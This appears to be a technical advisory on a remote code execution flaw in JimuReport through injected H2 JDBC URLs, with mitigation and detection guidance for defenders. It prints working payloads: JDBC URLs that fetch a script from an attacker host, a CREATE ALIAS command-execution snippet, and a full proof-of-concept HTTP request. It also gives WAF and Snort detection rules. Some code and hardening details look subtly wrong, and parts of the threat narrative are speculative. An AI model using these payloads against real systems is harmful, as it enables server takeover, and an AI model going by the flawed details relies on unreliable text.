Comprehensive Technical Analysis of EUVD-2026-1452 (CVE-2025-66913)

JimuReport Remote Code Execution via H2 JDBC URL Injection

1. Vulnerability Assessment & Severity Evaluation

Overview

EUVD-2026-1452 (CVE-2025-66913) is a critical remote code execution (RCE) vulnerability in JimuReport (a Java-based reporting tool) affecting versions up to and including 2.1.3. The flaw stems from improper sanitization of user-supplied H2 JDBC URLs, which are passed directly to the H2 database driver, enabling attackers to execute arbitrary Java code via malicious JDBC directives.

CVSS 3.1 Severity Breakdown

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the network without physical/logical access.
Attack Complexity (AC)	Low (L)	No specialized conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or elevated privileges needed.
User Interaction (UI)	None (N)	Exploitation does not require user interaction.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component (JimuReport).
Confidentiality (C)	High (H)	Full system compromise possible, including data exfiltration.
Integrity (I)	High (H)	Attacker can modify, delete, or inject malicious data.
Availability (A)	High (H)	Denial-of-service (DoS) or complete system takeover possible.
Base Score	9.8 (Critical)	Aligns with industry standards for RCE vulnerabilities.

Comparison with Related Vulnerabilities

• CVE-2025-10770: A separate but related vulnerability in JimuReport, likely addressing a different attack surface (e.g., file upload or template injection).
• Historical Context: Similar JDBC injection flaws (e.g., CVE-2022-23221 in H2 Database) have been exploited in the wild, underscoring the need for strict input validation.

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2. Potential Attack Vectors & Exploitation Methods

Exploitation Mechanism

The vulnerability arises from direct processing of attacker-controlled H2 JDBC URLs without proper sanitization. The H2 database driver supports Java code execution via specific JDBC URL directives, such as:

• INIT: Executes SQL or Java code during database initialization.
• RUNSCRIPT: Executes arbitrary SQL scripts.
• TRACE_LEVEL_FILE: Can be abused to write files to the filesystem.

Exploitation Steps

1. Craft Malicious JDBC URL:

   jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://attacker.com/malicious.sql'
   

   • The INIT directive fetches and executes a remote SQL script containing Java code (e.g., CREATE ALIAS for RCE).
   • Alternatively, use CREATE ALIAS to define a Java function that executes system commands:

     CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }';
     CALL EXEC('whoami');
     

2. Trigger the Vulnerable Endpoint:

   • The attacker submits the malicious JDBC URL via an HTTP request (e.g., API call, form submission, or configuration file).
   • JimuReport processes the URL and passes it to the H2 driver, executing the embedded Java code.

3. Achieve RCE:

   • The attacker gains arbitrary code execution in the context of the JimuReport application (typically running with the privileges of the application server, e.g., tomcat or root).

Proof-of-Concept (PoC) Example

A minimal PoC (based on the GitHub Gist reference) might involve:

POST /jimureport/api/report/preview HTTP/1.1
Host: vulnerable-server.com
Content-Type: application/json

{
  "jdbcUrl": "jdbc:h2:mem:test;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter(\"\\\\A\").next(); }';CALL EXEC('id > /tmp/pwned')"
}

• This would execute id > /tmp/pwned on the target system.

Post-Exploitation Impact

• Lateral Movement: Attackers may pivot to other systems if JimuReport has network access.
• Persistence: Malicious code can be embedded in reports or scheduled tasks.
• Data Exfiltration: Sensitive data (e.g., database credentials, PII) can be stolen.
• Cryptojacking/Backdoors: Attackers may deploy miners or remote access tools (RATs).

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3. Affected Systems & Software Versions

Vulnerable Software

• Product: JimuReport (formerly JeecgBoot JimuReport)
• Vendor: JeecgBoot (https://github.com/jeecgboot/jimureport)
• Affected Versions: All versions up to and including 2.1.3
• Fixed Versions: 2.1.4+ (if available; check vendor advisories)

Dependencies

• H2 Database Engine: The vulnerability relies on H2’s JDBC URL processing. While H2 itself is not vulnerable, its features are abused.
• Java Runtime Environment (JRE): Exploitation requires a Java environment (JRE 8+).

Deployment Scenarios

• On-Premises: JimuReport installed on internal servers (common in enterprise environments).
• Cloud: Deployments in cloud environments (e.g., AWS, Azure) where JimuReport is exposed to the internet.
• Embedded: Used as a reporting module in larger applications (e.g., ERP, CRM systems).

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4. Recommended Mitigation Strategies

Immediate Actions

1. Upgrade JimuReport:

   • Apply the latest patch (version 2.1.4+) as soon as it becomes available.
   • Monitor the vendor’s GitHub repository (jeecgboot/jimureport) for updates.

2. Network-Level Protections:

   • Restrict Access: Limit JimuReport’s exposure to trusted networks (e.g., internal VPN, zero-trust segmentation).
   • Web Application Firewall (WAF): Deploy rules to block malicious JDBC URLs (e.g., regex for INIT=, RUNSCRIPT, CREATE ALIAS).

3. Input Validation & Sanitization:

   • Whitelist JDBC URL Schemes: Only allow jdbc:h2:file: or jdbc:h2:mem: without additional directives.
   • Disable Dangerous H2 Features: Configure H2 to disallow INIT, RUNSCRIPT, and CREATE ALIAS via JDBC URLs.
   • Use Prepared Statements: Ensure all database interactions use parameterized queries.

4. Least Privilege Principle:

   • Run JimuReport with a low-privilege service account (not root or Administrator).
   • Restrict filesystem and network access for the application.

5. Monitoring & Detection:

   • Log JDBC URL Parameters: Audit logs for suspicious JDBC URLs (e.g., containing INIT or RUNSCRIPT).
   • Intrusion Detection Systems (IDS): Deploy signatures to detect exploitation attempts (e.g., Suricata/Snort rules for H2 JDBC injection).

Long-Term Recommendations

• Code Review: Audit JimuReport’s JDBC handling for similar injection vectors.
• Dependency Management: Regularly update H2 Database and other dependencies.
• Security Testing: Conduct penetration testing and static/dynamic analysis (SAST/DAST) to identify related flaws.

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5. Impact on the European Cybersecurity Landscape

Regulatory & Compliance Implications

• GDPR (General Data Protection Regulation):
  • RCE vulnerabilities enabling data exfiltration may lead to GDPR violations (Article 32: Security of Processing; Article 33: Breach Notification).
  • Organizations must report breaches within 72 hours if personal data is compromised.
• NIS2 Directive (Network and Information Security):
  • Critical infrastructure operators (e.g., energy, healthcare) using JimuReport may face mandatory reporting requirements and fines for non-compliance.
• DORA (Digital Operational Resilience Act):
  • Financial entities must ensure third-party risk management (JimuReport may be a vendor dependency).

Threat Landscape in Europe

• Targeted Sectors:
  • Government: JimuReport is used in public sector reporting tools.
  • Healthcare: Hospitals and insurers may use it for patient data analytics.
  • Finance: Banks and fintech firms leverage reporting tools for compliance (e.g., PSD2, AML).
• Exploitation Trends:
  • Ransomware Groups: May exploit RCE to deploy ransomware (e.g., LockBit, BlackCat).
  • APT Actors: State-sponsored groups (e.g., APT29, Sandworm) could use this for espionage.
  • Initial Access Brokers (IABs): Sell access to compromised JimuReport instances on dark web forums.

European Response

• ENISA (European Union Agency for Cybersecurity):
  • Likely to issue threat advisories for critical infrastructure operators.
  • May include this vulnerability in annual threat landscape reports.
• CERT-EU:
  • Will coordinate with national CERTs (e.g., CERT-FR, BSI) to disseminate mitigation guidance.
• National CSIRTs:
  • Countries like Germany (BSI), France (ANSSI), and the UK (NCSC) may issue sector-specific alerts.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Vulnerable Code Path:

  • JimuReport’s report preview/export functionality accepts JDBC URLs from user input (e.g., via API or UI).
  • The URL is passed directly to DriverManager.getConnection() without validation:

    Connection conn = DriverManager.getConnection(userSuppliedJdbcUrl);
    

  • H2’s JDBC driver processes the URL, executing any embedded INIT or RUNSCRIPT directives.

• H2 Database Exploitation Primitives:

  • INIT Directive: Executes SQL/Java code during database initialization.

    jdbc:h2:mem:test;INIT=CREATE ALIAS EXEC AS '...'
    

  • RUNSCRIPT Directive: Executes a remote SQL script.

    jdbc:h2:mem:test;RUNSCRIPT FROM 'http://attacker.com/malicious.sql'
    

  • CREATE ALIAS: Defines a Java function that can execute system commands.

    CREATE ALIAS EXEC AS 'String shellexec(String cmd) { return Runtime.getRuntime().exec(cmd).getInputStream(); }';
    CALL EXEC('id');
    

Exploitation Detection

• Network Signatures:
  • WAF Rules:

    (INIT=|RUNSCRIPT|CREATE\s+ALIAS).*\b(EXEC|Runtime\.getRuntime|ProcessBuilder)\b
    

  • IDS Rules (Snort/Suricata):

    alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"JimuReport H2 JDBC RCE Attempt"; flow:to_server,established; content:"jdbc:h2"; nocase; content:"INIT="; nocase; content:"CREATE ALIAS"; nocase; reference:cve,CVE-2025-66913; classtype:attempted-admin; sid:1000001; rev:1;)
    

• Log Analysis:
  • Monitor application logs for:

    JDBC URL contains: INIT=, RUNSCRIPT, or CREATE ALIAS
    

  • Check H2 database logs for unexpected CREATE ALIAS statements.

Forensic Artifacts

• Filesystem:
  • Temporary files created by TRACE_LEVEL_FILE or RUNSCRIPT.
  • Malicious JARs or scripts dropped via INIT.
• Memory:
  • Java process memory dumps may contain injected payloads.
• Network:
  • Outbound connections to attacker-controlled servers (e.g., fetching malicious.sql).

Hardening H2 Database

• Disable Dangerous Features:
  • Set h2.allowLiterals=NONE in the JDBC URL to block dynamic SQL.
  • Use h2.traceLevel=0 to disable logging.
• Sandboxing:
  • Run H2 in a restricted Java Security Manager with limited permissions.
  • Use containerization (Docker) to isolate JimuReport.

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Conclusion

EUVD-2026-1452 (CVE-2025-66913) represents a critical RCE vulnerability in JimuReport with severe implications for European organizations. Given its CVSS 9.8 score, low attack complexity, and no authentication requirements, it is highly exploitable and likely to be targeted by both opportunistic attackers and advanced threat actors.

Key Takeaways for Security Teams

1. Patch Immediately: Upgrade to JimuReport 2.1.4+ (or apply vendor mitigations).
2. Isolate & Monitor: Restrict network access and deploy WAF/IDS rules.
3. Audit Dependencies: Review all JDBC interactions for similar flaws.
4. Prepare for Incident Response: Assume breach and monitor for post-exploitation activity.

Further Reading

• H2 Database Security Guide
• OWASP JDBC Injection
• ENISA Threat Landscape Report

Action Priority: Critical (P0) – Immediate remediation required.